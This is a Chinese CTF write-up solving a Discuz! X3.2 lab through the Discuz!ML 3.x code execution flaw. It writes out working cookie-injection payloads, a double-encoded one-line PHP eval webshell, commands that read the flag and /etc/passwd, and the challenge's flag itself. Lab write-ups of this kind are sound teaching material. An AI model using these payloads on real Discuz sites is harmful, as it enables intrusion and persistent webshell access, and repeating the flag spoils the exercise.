安鸾CMS系列之Discuz
涂寐 Lv5

前言

本教程仅供学习参考,请勿用在非法途径上,违者后果自负,与笔者无关。 –涂寐

正文

步骤说明

1
2
3
4
5
6
7
8
9
10
11
12
题目URL:http://whalwl.site:8042/forum.php
tips:flag在网站根目录下

Answer:
1、思考一下,既然是练CMS,那就找下Discuz系列的漏洞,根据版本号(Discuz! X3.2)更加精确的查找。
2、根据一些百度漏洞报告试验,最后锁定《Discuz!ML 3.x任意代码执行漏洞》;根据该名称再次搜索漏洞报告,尝试复现拿flag。
3、访问站点,通过bp抓包并发送到Repeater模块,在Cookie的language字段值后面拼接php代码来检验该漏洞的存在:如yGa2_2132_language=sc'.phpinfo().';;确认站点存在任意代码执行漏洞(拼接时sc可不写)。
4、拼接的代码改为 '.file_put_contents("tumei.php",urldecode("<?php eval($_POST[tumei]) ?>")).' 进行一句话木马上传。 5、注:数据包请求后,会将该代码全部转小写,同时进行一次URL解码和再次编码(不会将POST编码),解码时(在执行命令时,命令中的全部URL编码将被解开),故需要将POST进行二次编码,第二层编码通过urldecode()函数解开,使命令中正常显示POST字样。
6、当一句话木马中的POST字符为小写时,请求方式不对,一句话木马将无法被执行,无法成功连接。因此最终的代码(将对 POST 编码一次,整个一句话木马再编码一次),得到: '.file_put_contents("tumei12.php",urldecode("<%3fphp+eval($%255f%2550%254f%2553%2554['tumei'])%3b%3f>")).' 。
7、通过 '.system('ls').' 可知,http://whalwl.site:8042/forum.php中的forum.php在网站根目录下,故直接用菜刀、蚁剑等工具(注:专用马需相应工具)连接http://whalwl.site:8042/tumei.php即可获取网站根目录下的flag。
8、不想麻烦的,可通过language变量名构造 '.system("ls").' 查看目录内容后,直接利用 '.system("cat flag_a29d1598024f9e87beab4b98411d48ce").' 直接显示flag。
9、最终拿到flag{49c883689da71363809d64b8b48679ba}

图片步骤

image
image
image
image
image

语法普及

1
2
3
4
5
6
7
8
9
10
11
12
13
语法普及:
①phpinfo():查看php的版本等配置的详细信息;
②file_put_contents(filename,data):PHP语法,把data写入finename文件中。
③Linux语法:
ifconfig #显示或配置网络设备
system('ls') #调用shell来执行ls命令
whoami #显示当前操作用户
pwd #显示当前目录路径。
ls #显当前目录下的文件与目录。
../ #上级目录。
cd ../ #从当前目录切换到上级目录。
cat /etc/passwd > pass.txt #显示/etc/passwd中的内容到pass.txt来获取系统账号,类似复制。
tar -cvf cf.tar config #打包配置文件config到cf.tar。
 评论